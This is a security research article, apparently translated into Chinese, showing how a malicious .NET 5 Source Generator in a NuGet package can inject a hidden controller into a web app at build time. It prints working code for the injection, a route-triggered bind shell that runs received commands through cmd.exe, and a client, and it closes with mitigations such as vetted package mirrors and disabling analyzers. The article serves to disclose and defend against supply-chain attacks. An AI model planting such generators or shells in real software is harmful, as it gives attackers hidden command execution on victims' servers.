.NET 5、Source Generator以及供应链攻击

robots

 

0x00 前言

时钟拨回2015年,当时爆发了XcodeGhost攻击事件,当开发者使用非官方的Apple Xcode IDE构建iOS应用时,攻击者就可以植入恶意软件。从那时起,IDE以及相关编译架构一直都是各类攻击者的目标之一。

我们通常会信任常用的编译工具、IDE以及软件项目,攻击者正是滥用这种信任来发起攻击。现在这种情况正在慢慢改变,比如,Visual Studio Code在最近一个版本中添加了工作区信任功能。然而与此同时,.NET 5添加了一个强大但又危险的特性,使这类供应链攻击能更容易实现、传播,并且更加隐蔽。

 

0x01 Source Generator

2020年,微软宣布即将推出的.NET 5有一项令人兴奋的新特性:Source Generator(源代码生成器),这个特性的目标是实现更加轻松的编译时元编程(compile-time metaprogramming)。与宏或者编译器插件类似,Source Generator独立于IDE以及编译器,不需要修改源代码,因此能提供更大的灵活性。

在我们的软件解决方案中,Source Generator可以作为Visual Studio解决方案结构的一部分,也可以在IDE解决方案浏览器中作为独立的一个项目。Source Generator可以添加使用,但更通常是作为nuget库来使用,与其他依赖项一样。

图1. 编译流程中的Source Generator

Source Generator与Analyzer遵循相同的概念,因此可能需要安装和卸载脚本。在一个简单的场景中,安装脚本会修改给定的csproj项目文件,以便在编译时触发Source Generator。与此类似,卸载脚本会从csproj文件中移除对Source Generator的任何引用。

注意:基于安装脚本或者编译事件脚本的供应链攻击方式当然可行,并且已经在野尝试攻击过。然而本文描述的技术并没有使用脚本,因此这种潜在的攻击方式更加难以检测。

Generator可以用于各种场景,在最简单的情况下,可以用来注入代码,从第一方(first-party)代码片段来调用。

比如(来源:https://devblogs.microsoft.com/dotnet/introducing-c-source-generators/ ):

using System; 
using System.Collections.Generic; 
using System.Text; 
using Microsoft.CodeAnalysis; 
using Microsoft.CodeAnalysis.Text; 

namespace SourceGeneratorSamples 
{ 
    [Generator] 
    public class HelloWorldGenerator : ISourceGenerator 
    { 
        public void Execute(SourceGeneratorContext context) 
        { 
            // begin creating the source we'll inject into the users compilation 
            var sourceBuilder = new StringBuilder(@" 
using System; 
namespace HelloWorldGenerated 
{ 
    public static class HelloWorld 
    { 
        public static void SayHello()  
        { 
            Console.WriteLine(""Hello from generated code!""); 
            Console.WriteLine(""The following syntax trees existed in the compilation that created this program:""); 
"); 
            // using the context, get a list of syntax trees in the users compilation 
            var syntaxTrees = context.Compilation.SyntaxTrees; 

            // add the filepath of each tree to the class we're building 
            foreach (SyntaxTree tree in syntaxTrees) 
            { 
                sourceBuilder.AppendLine($@"Console.WriteLine(@"" - {tree.FilePath}"");"); 
            } 
            // finish creating the source to inject 
            sourceBuilder.Append(@" 
        } 
    } 
}"); 
            // inject the created source into the users compilation 
            context.AddSource("helloWorldGenerator", SourceText.From(sourceBuilder.ToString(), Encoding.UTF8)); 
        } 
        public void Initialize(InitializationContext context) 
        { 
            // No initialization required for this one 
        } 
    } 
}

以及用法(来源:https://devblogs.microsoft.com/dotnet/introducing-c-source-generators/ ):

public class SomeClassInMyCode 
{ 
    public void SomeMethodIHave() 
    { 
        HelloWorldGenerated.HelloWorld.SayHello(); // calls Console.WriteLine("Hello World!") and then prints out syntax trees 
    } 
}

 

0x02 预期用法

除了上述例子外,Source Generator也可以用来生成在运行时通过反射实现的逻辑,或者可能用来自动生成代码用于各类场景。大家可以参考官方说明来了解更多示例。

我们也可以在nuget仓库中找到一些生成器样例,此外还有一些非官方的项目列表、链接以及博客。

 

0x03 威胁模型

如果Source Generator是第一方项目,并且特定于某个企业知识产权,那么与本文关系不大。在这种情况下,我们假设Source Generator需要通过代码审查过程,不会包含恶意逻辑。即使恶意的内部人员可能会尝试在这种Source Generator植入恶意软件,代码审查或者静态应用安全测试工具等也有可能会发现这种情况。

当我们考虑一个现代的依赖生态系统时,可以看到一个更为有趣的场景。当企业使用第三方nuget库时,将会依赖给定的第三方安全环境。

图2. 使用Source Generator的假设攻击场景

Source Generator可能由某个开发人员、开源项目下的开发组或者企业编写并提交给nuget仓库。

在这几个场景中,程序库背后的某个或某些人可能会在其中嵌入恶意代码,特别是当程序库中包含恶意Source Generator时,可能会造成严重后果。

这种事情在历史上也曾经发生过,攻击者搞定了维护人员账户,或者将已购买的项目变成恶意项目,从而劫持了某个依赖库、甚至某个主流的开源项目。Nuget库也可能依赖于其他程序库以及Source Generator,即使某个项目以递归方式依赖了这些库,也会出现这种行为。

还有其他的攻击方式,比如误植域名(typosquatting)或者依赖库混淆。

历史上曾多次发生过针对常用软件项目的攻击事件,比如PHPPyPI包仓库、常见的错字占用(比如Go)或者<a href=”https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610″>依赖混淆。

我们并没有简单的方法能够解决这个问题。从企业角度来看,如果企业的业务模式需要依赖第三方组件,那么只有完善的安全控制(如依赖审查、静态及动态安全测试),配合恶意软件防护、网络级别安全控制以及其他控制方案,才有可能在合理的范围内保护企业的安全。

当Source Generator参与进来时,这将变成一个更加棘手的问题。这是因为恶意代码现在可能不是原始依赖项或者递归式依赖包的一部分,而是有可能经过混淆、加密、在编译时获取,从而成为一种更为复杂的实现方式。

没有任何方式能够阻止Source Generator包含恶意逻辑、只在生产版本构建时注入恶意payload,因此这种方式有可能绕过依赖调试版本进行分析的那些安全工具。

 

0x04 武器化Source Generator

攻击者的最终目标是获取企业网络中主机的shell访问权限,这样就可以植入预期的恶意软件,或者使用被攻破的主机进一步横向移动。在如下案例中,我们将演示一种武器化后的Source Generator,可以将普通的.NET web应用变成web shell。

我们的恶意Source Generator会滥用一个非常方便的AspNetCore Mvc特性:自动发现及部署以程序二进制文件(dll文件)形式存在的控制器。

除了官方规范要求的代码之外,这个生成器只多包含一行代码:

using Microsoft.CodeAnalysis; 
using Microsoft.CodeAnalysis.Text; 
using System; 
using System.Text; 

namespace InnocentNamespace 
{ 
    [Generator] 
    public class SourceGenerator : ISourceGenerator 
    { 
        void ISourceGenerator.Execute(GeneratorExecutionContext context) 
        { 
            context.AddSource("InnocentController", SourceText.From("malicious payload", Encoding.UTF8)); 
        } 
        void ISourceGenerator.Initialize(GeneratorInitializationContext context) 
        { 
        } 
    } 
}

这个“恶意payload”字符串是我们初始payload的一个占位符,以便后续来建立远程shell访问。为了完成该任务,我们需要设置一个监听socket,但我们首先要确保我们的控制器能够实际被加载起来。

我们的设想是当恶意注入的控制器静态初始程序执行时,我们的远程shell会开始监听。控制器由.NET框架延迟加载,因此我们需要以某种方式触发延迟加载机制。

我们可以公开一个路由用作触发器:只有当攻击者访问这个特定的路由后,服务端socket才会开始监听传入的连接。

using System; 
using System.Diagnostics; 
using System.Net; 
using System.Net.Sockets; 
using System.Text; 
using Microsoft.AspNetCore.Mvc; 
using Microsoft.Extensions.Logging; 

namespace InnocentNamespace.Controllers 
{ 
    public class InnocentController : Controller 
    { 
        [HttpGet] 
        public ContentResult Index() 
        { 
            return Content(""abc""); 
        }
    }
}

还有另种方法可以触发攻击代码,那就是使用[ModuleInitializer]属性来确保我们的类会被加载(参考此处)。

当我们打开默认路由命名约定时,就可以通过httpx://servername:port/innocent/路径访问我们的触发器,只需要访问这个URL,就可以触发静态初始化程序执行。假设有如下代码:

static InnocentController() 
{ 
    new Thread(new ThreadStart(nothingtoseehere)) 
    { 
        IsBackground = true 
    }.Start(); 
}

nothingtoseehere是我们服务端socket的实现,当我们的InnocentController类被加载时,就会开始监听连接。这里的代码只包含来自官方示例的一个简单的同步服务端socket实现。

使用同步服务端socket实现的web shell如下:

static void nothingtoseehere()
{
    // Data buffer for incoming data.   
    byte[] bytes = new Byte[1024 * 1024];
    // Establish the local endpoint for the socket.   
    // Dns.GetHostName returns the name of the 
    // host running the application.   
    IPHostEntry ipHostInfo = Dns.GetHostEntry(Dns.GetHostName());
    IPAddress ipAddress = ipHostInfo.AddressList[0];
    IPEndPoint localEndPoint = new IPEndPoint(ipAddress, 11000);
    // Create a TCP/IP socket.   
    Socket listener = new Socket(ipAddress.AddressFamily, SocketType.Stream, ProtocolType.Tcp);
    // Bind the socket to the local endpoint and 
    // listen for incoming connections.   
    try
    {
        listener.Bind(localEndPoint);
        listener.Listen(10);
        // Start listening for connections.   
        while(true)
        {
            Console.WriteLine("Waiting for a connection...");
            // Program is suspended while waiting for an incoming connection.   
            Socket handler = listener.Accept();
            data = null;
            // An incoming connection needs to be processed.   
            while(true)
            {
                int bytesRec = handler.Receive(bytes);
                data += Encoding.ASCII.GetString(bytes, 0, bytesRec);
                if(data.IndexOf("<EOF>") > -1)
                {
                    break;
                }
            }
            // Show the data on the console.   
            Console.WriteLine("Text received : {0}", data);
            Process cmd = new Process();
            cmd.StartInfo.FileName = "cmd.exe";
            cmd.StartInfo.RedirectStandardInput = true;
            cmd.StartInfo.RedirectStandardOutput = true;
            cmd.StartInfo.CreateNoWindow = true;
            cmd.StartInfo.UseShellExecute = false;
            cmd.Start();
            cmd.StandardInput.WriteLine(data.Substring(0, data.Length - 5));
            cmd.StandardInput.Flush();
            cmd.StandardInput.Close();
            cmd.WaitForExit();
            String output = cmd.StandardOutput.ReadToEnd();
            Console.WriteLine("Command output:");
            Console.WriteLine(output);
            // Echo the data back to the client. 
            byte[] msg = Encoding.ASCII.GetBytes(output);
            handler.Send(msg);
            handler.Shutdown(SocketShutdown.Both);
            handler.Close();
        }
    }
    catch(Exception e)
    {
        Console.WriteLine(e.ToString());
    }
    Console.WriteLine("\nPress ENTER to continue...");
    Console.Read();
}

上述代码可以收集请求的命令。Substring方法只用来移除最后5个字符,这些字符用来表示发送恶意命令的客户端通信准备终止。

Web shell客户端实现如下:

using System;
using System.Net;
using System.Net.Sockets;
using System.Text;
namespace web_shell_cli_client
{
    class Program
    {
        public static void StartClient()
        {
            // Data buffer for incoming data.  
            byte[] bytes = new byte[1024 * 1024];
            // Connect to a remote device.  
            try
            {
                // Establish the remote endpoint for the socket.  
                // This example uses port 11000 on the local computer.  
                IPHostEntry ipHostInfo = Dns.GetHostEntry(Dns.GetHostName());
                IPAddress ipAddress = ipHostInfo.AddressList[0];
                IPEndPoint remoteEP = new IPEndPoint(ipAddress, 11000);
                // Create a TCP/IP  socket.  
                Socket sender = new Socket(ipAddress.AddressFamily, SocketType.Stream, ProtocolType.Tcp);
                // Connect the socket to the remote endpoint. Catch any errors.  
                try
                {
                    sender.Connect(remoteEP);
                    Console.WriteLine("Socket connected to {0}", sender.RemoteEndPoint.ToString());
                    Console.WriteLine("Enter command to be run");
                    String command = Console.ReadLine();
                    Console.WriteLine("Command entered: " + command);
                    // Encode the data string into a byte array.  
                    byte[] msg = Encoding.ASCII.GetBytes(command + "<EOF>");
                    // Send the data through the socket.  
                    int bytesSent = sender.Send(msg);
                    // Receive the response from the remote device.  
                    int bytesRec = sender.Receive(bytes);
                    Console.WriteLine("Command result:\n{0}", Encoding.ASCII.GetString(bytes, 0, bytesRec));
                    // Release the socket.  
                    sender.Shutdown(SocketShutdown.Both);
                    sender.Close();
                }
                catch(ArgumentNullException ane)
                {
                    Console.WriteLine("ArgumentNullException : {0}", ane.ToString());
                }
                catch(SocketException se)
                {
                    Console.WriteLine("SocketException : {0}", se.ToString());
                }
                catch(Exception e)
                {
                    Console.WriteLine("Unexpected exception : {0}", e.ToString());
                }
            }
            catch(Exception e)
            {
                Console.WriteLine(e.ToString());
            }
        }
        public static int Main(String[] args)
        {
            StartClient();
            return 0;
        }
    }
}

这个客户端与官方示例基本相同,可以接受任何字符串作为输入,将输入信息发送到本地主机硬编码的端口,等待服务端返回输出,打印输出然后终止。

虽然代码很简单,但我们的目的已经达到:可以在被感染的web应用上运行任意命令。

 

0x05 阻止攻击

在应用程序的构建过程中,Source Generator可以将任意代码注入编译生成的程序文件中,使安全人员无法在标准的代码审查过程或者使用源代码分析方法发现这种恶意修改行为。

如果静态应用安全测试工具支持文件分析功能,那么的确有可能发现注入的恶意代码。

我们可以利用公开的代码仓库(如nuget)在内网中保存经过审查的仓库副本,从而降低项目构建中包含恶意程序包的风险。不过这样做也有一个缺点:可能会降低代码更新的过程,因为审查新依赖项(以及递归的依赖项)可能是非常麻烦的一个过程。

为了更好地禁用Source Generator以及Source Analyzer,我们可以考虑在csproj文件中添加如下代码,从而禁用这个潜在不安全的特性:

<Target Name="DisableAnalyzers"
        BeforeTargets="CoreCompile">
<ItemGroup>
<Analyzer Remove="@(Analyzer)" />
</ItemGroup>
</Target>

这个项目文件也可以配置成排除特定的库,以便成熟的分析器和生成器能够正常工作。

 

0x06 总结

Source Generator是一个强大的.NET特性,可以帮助开发者更加轻松地开发强大的应用程序,自动执行繁琐的任务,无需编写样板代码。

不幸的是,这种灵活性同样会允许攻击者以新颖的方式攻击应用程序以及企业,如果不仔细检查依赖项的源代码,这种方式很难防范。为了阻止类似的攻击,我们只有依赖深度防御解决方案,或者结合整体安全控制方案,才可能将风险降低到可以接受的水平。

(完)